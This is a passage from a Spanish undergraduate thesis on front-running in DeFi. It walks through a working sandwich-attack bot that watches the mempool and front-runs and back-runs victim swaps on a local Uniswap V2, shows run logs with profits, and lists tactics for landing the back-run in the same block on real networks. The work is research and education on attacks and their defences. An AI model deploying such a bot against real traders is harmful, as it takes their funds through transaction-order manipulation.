  ERC20("Tether UMA", "UMA")
  Ownable(msg.sender)
{
    _mint(msg.sender, 1_000_000 * 10 ** decimals());
}
```

- El constructor inicializa el token con nombre `Tether UMA`, símbolo `UMA` y una cantidad inicial de **1 millón de tokens**, ajustada por los decimales (por defecto, 18).
- Se establece como propietario al `msg.sender` al momento del despliegue.

Función mint

```
function mint(address to, uint256 amount) external onlyOwner {
    _mint(to, amount);
}
```

- Esta función permite **crear nuevos tokens** (`mint`) y enviarlos a una dirección específica.
- Solo el propietario (`owner`) del contrato puede invocarla gracias al modificador `onlyOwner`.

UMA.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
```

Este contrato representa el token **(UCO)**, también basado en los estándares ERC-20 y la gestión de propiedad mediante `Ownable`. Su estructura es muy similar al contrato anterior, pero con un nombre y símbolo distintos.

Constructor

```
constructor()
  ERC20("UCO Coin", "UCO")
  Ownable(msg.sender)
{
    _mint(msg.sender, 1_000_000 * 10 ** decimals());
}
```

- Crea un token con nombre `UCO Coin`, símbolo `UCO` y una cantidad inicial de **1 millón de tokens**, ajustados por decimales (18 por defecto).
- El despliegue asigna todos los tokens al `msg.sender`.

Función mint

```
function mint(address to, uint256 amount) external onlyOwner {
    _mint(to, amount);
}
```

- Permite acuñar nuevos tokens UCO a una dirección dada.
- Solo el propietario del contrato puede ejecutar esta función.

Notas comunes a ambos contratos

- Ambos contratos usan la **misma arquitectura ERC-20 con OpenZeppelin**, lo que garantiza seguridad, interoperabilidad y compatibilidad con wallets y DEXs.
- El uso del patrón `Ownable` asegura que solo el deployer (o quien herede la propiedad) pueda emitir tokens.
- Ambos tokens son completamente centralizados en términos de emisión (`mint`).

Scripts

deploy.js B.0.2

Este script en JavaScript (Node.js) despliega en Hardhat una versión local de los componentes clave de Uniswap V2, junto a dos tokens ERC-20 personalizados (UMA y UCO), y añade liquidez entre ellos.

Carga de dependencias

```
require("dotenv").config();
const { Contract, ContractFactory } = require("ethers");
const { ethers } = require("hardhat");
const fs   = require("fs");
const path = require("path");
```

- Usa `dotenv` para cargar variables de entorno (aunque no se usan explícitamente aquí).
- `ethers` y `hardhat` proporcionan acceso a contratos y despliegue.
- `fs` y `path` sirven para guardar las direcciones al final.

Carga de artifacts (ABI + bytecode

```
const WETH9Artifact   = require(...);
const factoryArtifact = require(...);
const routerArtifact  = require(...);
const pairArtifact    = require(...);
```

Se cargan los artefactos JSON de los contratos:

- `WETH9`: versión minimalista de Wrapped Ether.
- `UniswapV2Factory`: crea pares de intercambio.
- `UniswapV2Router02`: permite añadir liquidez, hacer swaps, etc.
- `UniswapV2Pair`: el contrato de par entre dos tokens ERC-20.

Obtener el signer principal

```
const [owner] = await ethers.getSigners();

```

Se obtiene la cuenta que firmará y desplegará los contratos.

Despliegue de Factory, WETH9 y Router

```
const factory = await FactoryF.deploy(owner.address);
const weth    = await WETHF.deploy();
const router  = await RouterF.deploy(factory.address, weth.address);
```

- Factory: desplegada con el owner como feeToSetter.
- WETH9: contrato base para simular operaciones con ETH envuelto.
- Router: instancia que interconecta tokens, pares y WETH.

Desplegar tokens UMA y UCO

```
const UMA = await ethers.getContractFactory("Tether");
const UCO = await ethers.getContractFactory("UCOCoin");
```

Se despliegan dos contratos ERC-20 personalizados, compatibles con `mint`.

Hacer mint de 1000 tokens a owner

```
await UMA.mint(owner.address, mintAmt);
await UCO.mint(owner.address, mintAmt);
```

Asigna 1000 unidades de cada token a la cuenta principal.

Crear el par UMA–UCO

```
if (pairAddr === ethers.constants.AddressZero) {
  await factory.createPair(UMA.address, UCO.address);
}
```

Verifica si el par ya existe en el `factory`, y si no, lo crea.

Leer reservas iniciales

```
let [r0, r1] = await pair.getReserves();
```

Se instancian las reservas del par. Inicialmente deben ser cero.

Aprobar al router para mover tokens

```
await UMA.approve(router.address, MAX);
await UCO.approve(router.address, MAX);
```

El `router` necesita permiso para mover tokens antes de añadir liquidez.

Añadir liquidez al par

```
await router.addLiquidity(UMA.address, UCO.address, amt0, amt1, ...);
```

Se añaden 50 UMA y 150 UCO al pool para formar el par de liquidez.

Leer reservas finales

```
[r0, r1] = await pair.getReserves();

```

Ahora las reservas reflejan los tokens añadidos.

Guardar direcciones en archivo JSON

```
fs.writeFileSync("uniswap-addresses.json", JSON.stringify(out, null, 2))
    ;
```

Guarda las direcciones desplegadas de factory, router, WETH, tokens y par, para su uso posterior.

Este script deja completamente configurado un entorno de Uniswap V2 funcional, con:

- Router y Factory desplegados.
- WETH, UMA y UCO operativos.
- Liquidez entre UMA–UCO creada.
- Pares accesibles para pruebas de swap, MEV o front-running.

swap-victim.js B.0.2

El script `swap-victim.js` simula una operación de intercambio de tokens (*swap*) realizada por un usuario común (denominado "víctima") en un DEX Uniswap V2 desplegado localmente. Esta transacción será utilizada como objetivo para ataques tipo *front running* o *sandwich*, sirviendo como evento detonante para que el bot atacante reaccione con lógica automatizada.

Cargar dependencias y leer direcciones

```
require("dotenv").config();
const { ethers } = require("hardhat");
const fs   = require("fs");
const path = require("path");
```

- Carga variables de entorno (aunque no se usan aquí).
- `ethers` y `hardhat` permiten conectarse al entorno blockchain.

- `fs` y `path` sirven para leer el archivo de direcciones JSON generado en el script anterior.

Leer las direcciones desplegadas

```
const addresses = JSON.parse(
  fs.readFileSync(path.resolve(__dirname, "../uniswap-addresses.json"),
   "utf8")
);
```

Se carga un objeto con las direcciones de:

- `router`: Router de Uniswap.
- `tokenA`: Token origen del swap (ej: UMA).
- `tokenB`: Token destino del swap (ej: UCO).
- `pair`: Par de liquidez TokenA–TokenB.

Obtener signer "víctima"

```
const [owner, victim] = await ethers.getSigners();
```

- `owner`: Cuenta principal del entorno.
- `victim`: Cuenta secundaria que simulará el comportamiento de un usuario real haciendo un swap.

Instanciar contratos

```
const tokenA = await ethers.getContractAt(...);
const tokenB = await ethers.getContractAt(...);
const router = new ethers.Contract(...);
const pair   = new ethers.Contract(...);
```

- `tokenA`, `tokenB`: Interfaces estándar `IERC20`.
- `router`: Contrato de Uniswap V2 Router.
- `pair`: Contrato que mantiene las reservas de liquidez entre TokenA y TokenB.

Asegurar que la víctima tiene saldo suficiente

```
if (balVictim.lt(amountIn)) {
  await tokenA.connect(owner).transfer(victim.address, amountIn);
}
```

- Si `victim` no tiene al menos 50 tokens de `TokenA`, el `owner` le transfiere dicha cantidad.
- `amountIn = 50` tokens (con 18 decimales).

Cálculo de la cantidad a intercambiar

```
const [reserve0,] = await pair.getReserves();
const victimRatio = 30;
const amountIn = reserve0.mul(victimRatio).div(100);
```

- El script calcula el 30 % de la reserva de tokenA en el pool, y lo define como la cantidad a intercambiar (amountIn).

Preparar parámetros del swap

```
const amountOutMin = 0;
const pathTokens   = [tokenAAddr, tokenBAddr];
const to           = victim.address;
const deadline     = ...;
```

Parámetros clave:

- `amountOutMin = 0`: Se aceptará cualquier cantidad de salida (vulnerable a front-running).
- `path`: Ruta del swap (`TokenA → TokenB`).
- `deadline`: Tiempo límite para ejecutar el swap (10 minutos desde el momento actual).

Aprobar al router

```
await tokenA.approve(routerAddr, amountIn);

```

El `router` necesita estar aprobado para mover los tokens de `victim`.

Verificar estado previo al swap

```
const balance   = await tokenA.balanceOf(victim.address);
const allowance = await tokenA.allowance(victim.address, routerAddr);
const reserves  = await pair.getReserves();
```

- Muestra el balance y el `allowance` del token A.
- También imprime las reservas actuales del par.

Ejecutar el swap

```
const tx = await router.swapExactTokensForTokens(...);
await tx.wait();
```

- Se realiza un **swap exacto**: se intercambian exactamente `amountIn` unidades de TokenA.
- El `router` elige automáticamente cuántos TokenB entrega a cambio.

Mostrar nuevo balance de TokenB

```
const balB = await tokenB.balanceOf(victim.address);
```

- Imprime el balance del `victim` en TokenB tras el swap, confirmando la operación.

Manejo de errores

```
main().catch(err => {
  console.error("swap-victim.js error:", err);
});
```

Captura y muestra errores durante la ejecución.

Este script simula una transacción legítima de una víctima real, que puede ser interceptada por bots de MEV (ej. ataque sandwich).

sandwich-bot.js B.0.2

Automatizar un bot que detecta transacciones `swapExactTokensForTokens` pendientes (de víctimas) en el mempool y ejecuta un ataque sandwich:

1. **Front-run**: Compra antes de la víctima.
2. **Back-run**: Vende después de la víctima.

   El objetivo es manipular el precio temporalmente para obtener un beneficio.

Cargar módulos y direcciones

```
require("dotenv").config();
const { ethers } = require("hardhat");
const fs   = require("fs");
const path = require("path");
```

Se preparan utilidades necesarias para interactuar con contratos y leer archivos.

```
const { router, tokenA, tokenB } = JSON.parse(
  fs.readFileSync(path.resolve(__dirname, "../uniswap-addresses.json"),
   "utf8")
);
```

Se extraen las direcciones de:

- `router`: Router de Uniswap V2.

- `tokenA`: Token usado para el ataque (ej. WETH).
- `tokenB`: Token contra el que se intercambia (ej. UCO).

Configurar atacante y provider

```
const provider = new ethers.providers.JsonRpcProvider(process.env.
    RPC_URL);
const attacker = new ethers.Wallet(process.env.PRIVATE_KEY, provider);

```

- Se conecta al nodo (simulado o real) con un provider JSON-RPC.
- Se crea una wallet atacante con su clave privada desde `.env`.

Instanciar contratos

```
const ERC20 = [
  "function approve(address,uint256)",
  "function balanceOf(address)"
];
const routerAbi = [
  "function swapExactTokensForTokens(...)"
];
```

Se definen interfaces mínimas para interactuar con:

- **ERC-20**: Aprobar y leer balance.
- **Uniswap Router**: Ejecutar swaps.

Aprobar el router para TokenA

```
await tokenAContract.approve(router, MAX);

```

- Se aprueba una cantidad ïnfinita"(`MaxUint256`) de `TokenA` para que el router pueda operar sin limitaciones en cada operación de front-run.

Monitorizar el mempool (polling)

```
setInterval(async () => {
  const pending = await provider.send("eth_pendingTransactions", []);
  ...
}, 2500);
```

- Cada 2.5 segundos se consulta el mempool (`eth_pendingTransactions`) buscando transacciones pendientes.

- Si una transacción es:
  - Destinada al `router`.
  - No proviene del atacante.
  - No ha sido procesada aún.

Se lanza un ataque sandwich.

Extraer datos de la transacción

```
const data = victimTx.data || victimTx.input;
const txDesc = routerInterface.parseTransaction({ data });
const victimAmtIn = txDesc.args[0];
```

- Extrae los argumentos del swap (especialmente `amountIn`) desde el campo `data` de la transacción.

Ataque sandwich

```
const frontAmt = ethers.utils.parseUnits("10", 18);
const pathAB   = [tokenA, tokenB];
const pathBA   = [tokenB, tokenA];
const tokenABefore = await tokenAContract.balanceOf(attacker.address);
const ethBefore    = await provider.getBalance(attacker.address);
```

- Calcular valor para front-run (30 % de lo que intercambia la víctima).
- Luego se revierten los tokens obtenidos en el **back-run**.
- Registra los balances antes del ataque.

Paso 1: Front-run

```
const frontTx = await routerContract.swapExactTokensForTokens(...);
await frontTx.wait();
```

- Se realiza una compra de `TokenB` justo antes de la víctima, lo que incrementa su precio momentáneamente.

Paso 2: Esperar transacción de víctima

```
await provider.waitForTransaction(victimTx.hash);
```

- Se espera a que la transacción víctima se mine.
- La víctima comprará a un precio artificialmente alto debido al front-run.

Paso 3: Back-run

```
const backTx = await routerContract.swapExactTokensForTokens(...);
await backTx.wait();
```

- El bot vende sus `TokenB` justo después de la víctima, cuando el precio está inflado.
- Se recupera más `TokenA` de los que se usaron inicialmente (en teoría).

Paso 4: Calcular beneficio

```
const tokenAafter = await tokenAContract.balanceOf(attacker.address);
const profitA = tokenAafter.sub(tokenABefore);
console.log("Profit TokenA:", ethers.utils.formatUnits(profitA,18));
```

- Se imprime la ganancia obtenida en `TokenA`.

Manejo de errores

```
main().catch(e => {
  console.error(e);
  process.exit(1);
});
```

Cierra el proceso si ocurre algún error.

Este bot detecta transacciones reales o simuladas en el mempool y ejecuta un ataque sandwich en tiempo real.

Es fundamental para entornos de investigación o simulación MEV.

4.4. Resultados y Análisis

En las siguientes figuras se mostrará el proceso de ejecución detallado de los ataques en función del entorno.

4.4.1. Ejecución de Simulación Controlada (DEX ficticio)

deploySimpleDEX.js

```
npx hardhat run scripts/deploySimpleDEX.js --network localhost
Deploying with: 0x8943545177806ED17B9F23F0a21ee5948eCaa776
DEX deployed to: 0xb4B46bdAA835F8E4b4d8e208B6559cD267851051
```

Es importante guardar la dirección del contrato en nuestro `.env` para después poder ejecutar las acciones del atacante y de la víctima.

attack-bot.js y victim-buy.js

En un terminal se ejecuta primero el `attack-bot` el cual permanecerá esperando y leyendo la mempool hasta que aparezca una transacción que pueda ser beneficiosa.

`attack-bot.js`

```
npx hardhat run scripts/attack-bot.js --network localhost
```

En otro terminal se realizará la orden de `victim-buy` que realizará una compra de 0.5 ether.

`victim-buy.js`

```
npx hardhat run scripts/victim-buy.js --network localhost
Victima ha comprado tokens. TX: 0
   x5b7eb3884e620254d2297731663e41e517a4fb5288a507ffa5e9087847cc3339
```

Automáticamente el `attack-bot` detecta la transacción y envía un front run antes de que se mine la transacción víctima y un back run para obtener beneficio.

`attack-bot.js`

```
npx hardhat run scripts/attack-bot.js --network localhost
Victima detectada: 0
   x5b7eb3884e620254d2297731663e41e517a4fb5288a507ffa5e9087847cc3339
Front-run enviada: 0
   x305229832424f230df6b241e84b3c762902cd519f76fd71b0b4717e54fa7549a
Esperando que la victima se mine...
Back-run enviada: 0
   x8adbbf92857cacfcb477055426b0abc68589e5fb36838dea0455ad4f2bbeb0e3
Beneficio:  0.030352717526512862 ETH
```

El bot permanecerá indefinidamente en escucha de la mempool hasta que se cierre la terminal que lo mantiene ejecutando.

4.4.2. Ejecución de Uniswap Local

deploy.js

```
npx hardhat run scripts/deploy.js --network localhost
Deploying with: 0x8943545177806ED17B9F23F0a21ee5948eCaa776
Factory deployed at: 0x422A3492e218383753D8006C7Bfa97815B44373F
WETH9 deployed at: 0x0643D39D47CF0ea95Dbea69Bf11a7F8C4Bc34968
Router deployed at: 0x9f9F5Fd89ad648f2C000C954d8d9C87743243eC5
UMA deployed at: 0x8F0342A7060e76dfc7F6e9dEbfAD9b9eC919952c
UCO deployed at: 0x72ae2643518179cF01bcA3278a37ceAD408DE8b2
Minted 1,000 UMA & UCO to owner
Pair not found, creating...
Pair address: 0xb34E51146EF30B2921903a5E73c49F4691AB054c
Initial reserves: 0 0
Router approved to spend UMA & UCO
Liquidity added
Post-add reserves: 150000000000000000000 500000000000000000000
Direcciones guardadas en uniswap-addresses.json
```

uniswap-addresses.json

```
{
  "factory": "0x422A3492e218383753D8006C7Bfa97815B44373F",
  "weth": "0x0643D39D47CF0ea95Dbea69Bf11a7F8C4Bc34968",
  "router": "0x9f9F5Fd89ad648f2C000C954d8d9C87743243eC5",
  "tokenA": "0x8F0342A7060e76dfc7F6e9dEbfAD9b9eC919952c",
  "tokenB": "0x72ae2643518179cF01bcA3278a37ceAD408DE8b2",
  "pair": "0xb34E51146EF30B2921903a5E73c49F4691AB054c"
}
```

sandwich-bot.js y swap-victim.js

Como en el entorno anterior, primero se ejecutará el bot atacante, seguido de la víctima.

sandwich-bot.js

```
npx hardhat run scripts/sandwich-bot.js --network localhost
Attacker: 0x8943545177806ED17B9F23F0a21ee5948eCaa776
Router approved to spend TokenA
Starting mempool monitor...
```

swap-victim.js

```
npx hardhat run scripts/swap-victim.js --network localhost
Victim address: 0xE25583099BA105D9ec0A67f5Ae86D90e50036425
routerAddr = 0x9f9F5Fd89ad648f2C000C954d8d9C87743243eC5
Victim solo tiene 0.0, transfiriendo 45.0 desde owner...
Approving router...
Verificando estado previo...
Balance TokenA: 45.0
Allowance TokenA: 45.0
Reservas en pair: 150.0 50.0
Executing swapExactTokensForTokens...
Victim swap tx hash: 0
   xc3651d4f3e67d17eff6fe4bc40e59eb1349e73153a68abf36a11c9fcfa77b0b2
Victim TokenB balance: 70.940283560849628419
```

Nuestro bot de ataque detectará la transacción víctima y realizará el ataque de sandwich.

sandwich-bot.js

```
npx hardhat run scripts/sandwich-bot.js --network localhost
Attacker: 0x8943545177806ED17B9F23F0a21ee5948eCaa776
Router approved to spend TokenA
Starting mempool monitor...
Victim tx detected: 0
   xc3651d4f3e67d17eff6fe4bc40e59eb1349e73153a68abf36a11c9fcfa77b0b2
Front-run con 13.5 TokenA
Front-run tx: 0
   x40727eb0694a3196f9d5b4adafd66d1970c0dc73a7e369a8c369713d0bdb86e2
Waiting victim tx to be mined...
Back-run con 1000859.811074672230135915 TokenB
Back-run tx: 0
   x9ea1e12f65fa9774fdd66399d1058c1e8639cc9ca81cae976de611c7fa169412
Profit TokenA: 94.992470910653078878
```

4.4.3. Estrategias para Incluir el Backrun en el Mismo Bloque

Como se ha podido observar en estas simulaciones, la transacción de backrun, que genera el beneficio del ataque, se ejecuta después de que se mine el bloque con la transacción víctima.

Aunque no se vaya a investigar en las simulaciones ya realizadas, se podrían realizar las siguientes medidas en otros entornos reales.

Ajuste manual de precios de gas (gasPrice / EIP-1559)

- **Modo de funcionamiento**
  - Aumentar el `maxFeePerGas` y/o `maxPriorityFeePerGas` de la back-run por encima del precio de gas de la víctima, intentando que el miner la adelante inmediatamente después de ella.
- **Ventajas**
  - No se necesita infraestructura extra.
  - Compatible con cualquier nodo `Ethereum` estándar.
- **Inconvenientes**
  - No determinista: el miner puede aún así atacar tu back-run antes de la víctima (si tu gas es demasiado alto), o dejarlo para bloques posteriores (si no compite lo suficiente).
  - Expongase a otros actores que ajustan los precios en paralelo; carrera de `gas wars`.

Mecanismos de minería controlada en redes de desarrollo

Hardhat / Anvil (evm_setAutomine, evm_mine)

- **Cómo funciona**
  - Desactivar el auto-minado (`evm_setAutomine`: false).
  - Enviar front-run, víctima y back-run a la mempool local.
  - Forzar la minería de un bloque único con `evm_mine()`.
- **Ventajas**
  - Sencillo de implementar en tests y demos.
  - No requiere dependencias externas.
- **Inconvenientes**
  - Solo útil para entornos de desarrollo; no es representativo de la complejidad de la mempool de producción.

Geth / Besu en modo dev (miner_stop, miner_start)

- **Cómo funciona**
  - Parar la minería (`miner_stop`).
  - Enviar las tres txs a la cola de Geth.
  - Arrancar la minería con bloque único (`miner_start 1`).
- **Ventajas**
  - Emula un bundle atómico en una red privada.
- **Inconvenientes**
  - Necesita que tu nodo local exponga esos métodos.
  - No disponible en configuraciones "out-of-the-box" de algunos frameworks de desarrollo.

Plugins y herramientas específicas

- **hardhat-flashbots**
  - Plugin que simula el relay de Flashbots dentro de la red Hardhat permitiendo usar `sendBundle()` sin cambiar a Ethers v6 ni montar MEV-Boost.
- **MEV-Boost local**
  - Levantar tu propio stack de `beacon node` + `mev-boost` + `relay \light"` para probar bundles en entornos de simulación.

Tácticas complementarias

- **Filtrado avanzado de las víctimas.**
  - Atacar únicamente swaps con un slippage esperable suficiente, lo cual permite minimizar el riesgo de pérdida en caso de que el back-run se retrase.
- **Bundles en multicall.**
  - Si el DEX lo soporta, agrupar front, victim (proxy) y back en un único call de contrato.
- **Nodos privados con mempool aislada.**
  - Enviar paquetes a un nodo privado antes de volver a enviarlos a la red pública, disminuyendo latencias y competencias.

4.4.4. Diferencias entre simulaciones

Control y Flexibilidad

- Entorno local: Aquí puedes tener el control total de la blockchain. Podrás simular balances y transacciones, siempre eligiendo tu propio escenario. Herramientas como Hardhat o Ganache permiten ejecutar nodos locales y realizar pruebas fuera de las redes.
- Uniswap en red real: Operar en una red real significa operar en un sistema descentralizado fuera de tu control. Las transacciones pueden verse afectadas por la congestión de la red, las tarifas de gas y lo que hagan otros usuarios de la cadena, lo que puede dar una variabilidad en los resultados.

Latencia y Rendimiento

- Entorno local: Las transacciones se procesan de forma casi inmediata, lo que permite realizar pruebas de forma ágil y repetitiva. No hay que esperar por la confirmación de bloques, ni hay que pagar tarifas de gas.
- Uniswap en red real: Las transacciones dependerán de la latencia de la red en la que se procesen, así como del tiempo que requieran las transacciones, especialmente si la red se encuentra saturada. La tarifa de gas a menudo puede ser muy variable y determinar que ciertas operaciones no sean viables.

Seguridad y Riesgo

- Entorno local: un entorno seguro para realizar las pruebas, ya que no utiliza activos reales. Los errores no tienen consecuencias financieras, lo que permite experimentar sin riesgos.
- Uniswap en red real: las operaciones implican activos reales y por tanto conllevan riesgos financieros. Un error en un contrato inteligente, o una vulnerabilidad o ataque, puede acarrear la pérdida de una cantidad en particular de fondos.

Realismo y Precisión

- Entorno local: permite simular muchos aspectos de la blockchain, sin embargo podría no reflejar la complejidad y el comportamiento impredecible de una red real, como puede ser la competencia por los bots de arbitraje, las fluctuaciones del mercado...
- Uniswap en red real: proporciona un entorno más realista para probar cómo se comportan los contratos y las estrategias en condiciones reales, incluyendo la interacción con otros contratos y usuarios.

Costes

- Entorno local: sin costes, ya que no hay activos reales ni costes de gas.
- Uniswap en red real: cada transacción supone el pago de una tarifa de gas importante, dependiendo de la congestión de la red, así como el de la pérdida de fondos en caso de cometer errores.

Disponibilidad de Datos y Herramientas

- Entorno local: Puedes tener tu propio entorno con tus datos y herramientas, pero puede que haga falta la configuración de ciertos aspectos de la red real.
- Uniswap en red real: Dispones de mucha cantidad de datos en tiempo real y de herramientas de análisis que te pueden ayudar a seguir y evaluar el rendimiento de tus contratos y estrategias.

CAPÍTULO 5

Resultados

5.1. Conclusiones

La realización de este Trabajo de Fin de Grado a nivel personal ha constituido un desafío, además de una experiencia de aprendizaje y superación. Gracias a este he podido abarcar un sector interesante que no nos enseñan en la carrera como es la blockchain y superar ciertas adversidades que me han hecho ser más resolutivo y perspicaz, consiguiendo aumentar mi curiosidad sobre el tema.

Este trabajo ha evidenciado tanto la viabilidad como el riesgo de los ataques Front Running, especialmente aquellos de tipo sandwich, en la DeFi. Mediante la ejecución de un bot funcional y operativo en una simulación de red local, se han expuesto las debilidades actuales de las medidas de protección ante manipulaciones de orden de las transacciones.

Las principales conclusiones extraídas son las siguientes:

- **Comprobación de escenarios peligrosos y simulados**: Permite a un usuario experimentar con tecnologías blockchain actuales, la investigación de otros posibles ataques y pruebas con redes desplegadas en local.
- **Existencia de vulnerabilidades**: La transparencia en el mempool existente en la mayoría de blockchains públicas sigue siendo aprovechada por atacantes con el fin de anticiparse a transacciones legítimas y obtener así un beneficio ilegítimo.
- **Limitaciones de las acciones actuales**: Las acciones existentes para el minado del Maximal Extractable Value (MEV), ya sean transacciones privadas o mecanismos de ordenamiento "justo", no protegen lo suficiente ante atacantes maliciosos.
- **Educación y concienciación insuficiente**: Existe una carencia absoluta de educación en torno a ataques Front Running dentro de la educación blockchain, lo que impacta en la formación de los usuarios/desarrolladores ante los problemas mencionados.

Este trabajo permite servir como una argumentación técnica y conceptual para que un lector pueda entender la adecuación real de estos tipos de ataques y también da cuenta de la necesidad que existe para desarrollar sistemas de protección más robustos y adaptativos.

5.2. Futuras líneas de trabajo

Se pueden desarrollar diversos cauces de trabajo a partir de esta investigación para profundizar en la mitigación de los ataques Front Running:

1. **Automatización de estrategias defensivas**: Por una parte, se podrían desarrollar bots defensivos usando técnicas de aprendizaje automático que permiten detectar el ataque y bloquearlo en tiempo real, analizando la información del mempool y ajustando dinámicamente las estrategias de defensa.
2. **Adaptación de protocolos DeFi**: Diremos que se podría investigar y modificar protocolos DeFi existentes a fin de reducir su vulnerabilidad a los ataques Front Running. Por ejemplo, se podrían proponer mecanismos de orden de las transacciones aleatorio o el uso de commit–reveal schemes para ocultar el detalle de la transacción hasta su ejecución.
3. **Desarrollo de herramientas docentas**: Por otra parte, se podría desarrollar plataformas interactivas que dieran la oportunidad de simular entornos DeFi en los que los usuarios pudieran entender mejor los ataques y cómo defenderse en un entorno seguro.
4. **Análisis comparativo de soluciones anti-MEV**: Evaluar la eficiencia de las distintas soluciones anti-MEV como Proposer-Builder Separation (PBS) o el uso de transacciones privadas empleando simulaciones realistas y métricas cuantitativas.
5. **Ampliación del entorno de pruebas**: Ampliar el entorno de simulación a otras blockchains y protocolo DeFi, como BNB Chain, Avalanche o Arbitrum, para estudiar la posible generalización de las vulnerabilidades y la efectividad de las distintas soluciones propuestas en otros contextos.

Bibliografía

1. J. W. Markham. (1988). *"Front-Running Insider Trading Under the Commodity Exchange Act. Florida International University College of Law.* (https://ecollections.law.fiu.edu/faculty_publications/357/).
2. S. Białas. (2023). *Blockchain Front-Running: Risks and Protective Measures. ULAM.* (https://www.ulam.io/blog/blockchain-front-running-risks-and-protective-measures#).
3. CryptoPotato. (2024, dic.). *BNB Chain Afectada por Ataques Sandwich Récord en Noviembre, Impactando a Miles de Comerciantes. Binance Square.* (https://www.binance.com/es-LA/square/post/17302520708506).
4. BBVACommunications. (2024). *Qué es 'blockchain' y cómo ha impulsado la descentralización. BBVA.* (https://www.bbva.com/es/innovacion/que-es-blockchain-como-ha-impulsado-la-descentralizacion/).
5. A. Villanueva. (2024). *¿Qué es el blockchain y cómo funciona? Finect.* (https://www.finect.com/usuario/vanesamatesanz/articulos/que-blockchain-criptomonedas-guia-facil).
6. J. A. Pérez. (2019). *Blockchain, ¿qué es y cómo ha evolucionado? Nae.* (https://nae.global/es/blockchain-que-es-y-como-ha-evolucionado-10yearschallenge/).
7. G. Kaur. (2024). *What is cryptocurrency and how does it work? CoinTelegraph.* (cointelegraph.com/learn/articles/what-is-a-cryptocurrency-a-beginners-guide-to-digital-money).
8. *Solidity*, (https://en.wikipedia.org/wiki/Solidity).
9. *Introduction to Smart Contracts*, (docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html).
10. J. S. Vincent Gramlich Dennis Jelito. (2024). *Maximal extractable value: Current understanding, categorization, and open research questions. Springer Nature.* (https://link.springer.com/article/10.1007/s12525-024-00727-x).
11. Arxiv. (). *FRAD: Front-Running Attacks Detection on Ethereum using Ternary Classification Model. Arxiv.* (https://arxiv.org/html/2311.14514).
12. R. S. Christof Ferreira Torres Ramiro Camino. (2021). *Frontrunner Jones and the Raiders of the Dark Forest: An Empirical Study of Frontrunning on the Ethereum Blockchain. University of Luxembourg.* (https://www.usenix.org/system/files/sec21-torres.pdf).

13. S. S. Maddipati Varun Balaji Palanisamy. (2022). *Mitigating Frontrunning Attacks in Ethereum. ACM Digital Library.* (https://dl.acm.org/doi/10.1145/3494106.3528682).

14. J. Clark. (2021). *Transparent Dishonesty: Front-Running Attacks on Blockchain. UMBC.* (https://cisa.umbc.edu/transparent-dishonesty-front-running-attacks-on-blockchain/).

15. Caponni. (2023). *Allocative Inefficiencies in Public Distributed Ledgers. Federal Reserve Bank of New York.* (www.newyorkfed.org/medialibrary/media/research/conference/2023/FinTech/1030am_Capponi__Paper_AllocativeInefficienciesFrontrunningRisk_Latest.pdf?hash=B57D2D08E5734523EFEE70F389AC4068&sc_lang=en).

16. C. Kim. (2022). *MEV: Maximal Extractable Value Pt. 1. Galaxy.* (www.galaxy.com/insights/research/mev-how-flashboys-became-flashbots/).

17. G. W. Yuheng Zhang. (2025). *FRACE: Front-Running Attack Classification on Ethereum using Ensemble Learning. The Computer Journal.* (https://academic.oup.com/comjnl/advance-article-abstract/doi/10.1093/comjnl/bxaf027/8108227?redirectedFrom=fulltext&login=false).

18. M. M. Shayan Eskandari. (2019). *SoK: Transparent Dishonesty: Front-Running Attacks on Blockchain. Research Gate.* (https://www.researchgate.net/publication/339890096_SoK_Transparent_Dishonesty_Front-Running_Attacks_on_Blockchain).

19. F. Khan. (2023). *MEV, FLASHBOTS AND SUAVE. Medium.* (https://weufoundation.medium.com/mev-flashbots-suave-e1e28b6a3a42).

20. *Flashbot Documentation*, Flashbots, (https://docs.flashbots.net/).

21. StanfordGoddy. (2022). *Front-running explained. Reddit.* (www.reddit.com/r/CryptoMoon/comments/yog2c9/frontrunning_explained/).

22. A. Bains. (2025). *What Is a Sandwich Attack in Crypto and How Does It Work? CCN.* (https://www.ccn.com/education/crypto/sandwich-attack-in-crypto/).

23. . (2024). *Understanding Different MEV Attacks: Frontrunning, Backrunning and other attacks. Bitquery.* (https://bitquery.io/blog/different-mev-attacks).

24. P. Tomar. (2023). *Constant Product Automated Market Maker: Everything you need to know. Medium.* (https://medium.com/@tomarpari90/constant-product-automated-market-maker-everything-you-need-to-know-5bfeb0251ef2).

25. zehraina. (2024). *What is Ethereum Mempool? GeeksForGeekds.* (https://www.geeksforgeeks.org/what-is-ethereum-mempool/).

26. Tenderly. (2025). *Tenderly.* (https://tenderly.co/transaction-simulator).

27. T. Sumamno. (). *Understanding Ethereum's Mempool Dynamics: A Comprehensive Guide. The Design Inspiration.* (https://thedesigninspiration.com/news/tech/understanding-ethereums-mempool-dynamics-a-comprehensive-guide/).

28. Flashbots. (). *Flashbot Builders. Quick Start.* (https://docs.flashbots.net/flashbots-auction/quick-start).

29. Flashbots. (2023). *Mev Inspect Issues. Github.* (https://github.com/flashbots/mev-inspect-py/issues).

30. *Uniswap Documentation*, Uniswap Labs, (https://docs.uniswap.org/).

31. *OpenZeppelin Contracts Documentation*, OpenZeppelin, (https://docs.openzeppelin.com/contracts/4.x/).

32. ESMA. (2023). *Markets in Crypto-Assets Regulation (MiCA). European Securities and Markets Authority.* (www.esma.europa.eu/esmas-activities/digital-finance-and-innovation/markets-crypto-assets-regulation-mica).

33. C. M. Andrew Henderson. (2025). *Fighting Market Abuse in Crypto-Assets: ESMA Guidelines Under MiCA. Goodwin.* (www.goodwinlaw.com/en/insights/publications/2025/05/insights-finance-ftec-fighting-market-abuse-in-crypto-assets).

34. ESMA. (). *Final Report. ESMA.* (www.esma.europa.eu/sites/default/files/2025-04/ESMA75-453128700-1408_Final_Report_MiCA_Guidelines_on_prevention_and_detection_of_market_abuse.pdf).

35. U. Securities y E. Commision. (2023). *Crypto Task Force. U.S Securities and Exchange Commision.* (www.sec.gov/about/crypto-task-force).

36. H. Lang. (2025). *US SEC chair says agency plans to create new rules for crypto tokens. Reuters.* (www.reuters.com/sustainability/boards-policy-regulation/us-sec-chair-says-agency-plans-create-new-rules-crypto-tokens-2025-05-12/).

37. U. Securities y E. Commision. (). *SEC Announces Dismissal of Civil Enforcement Action Against Coinbase. U.S Securities and Exchange Commision.* (www.sec.gov/newsroom/press-releases/2025-47).

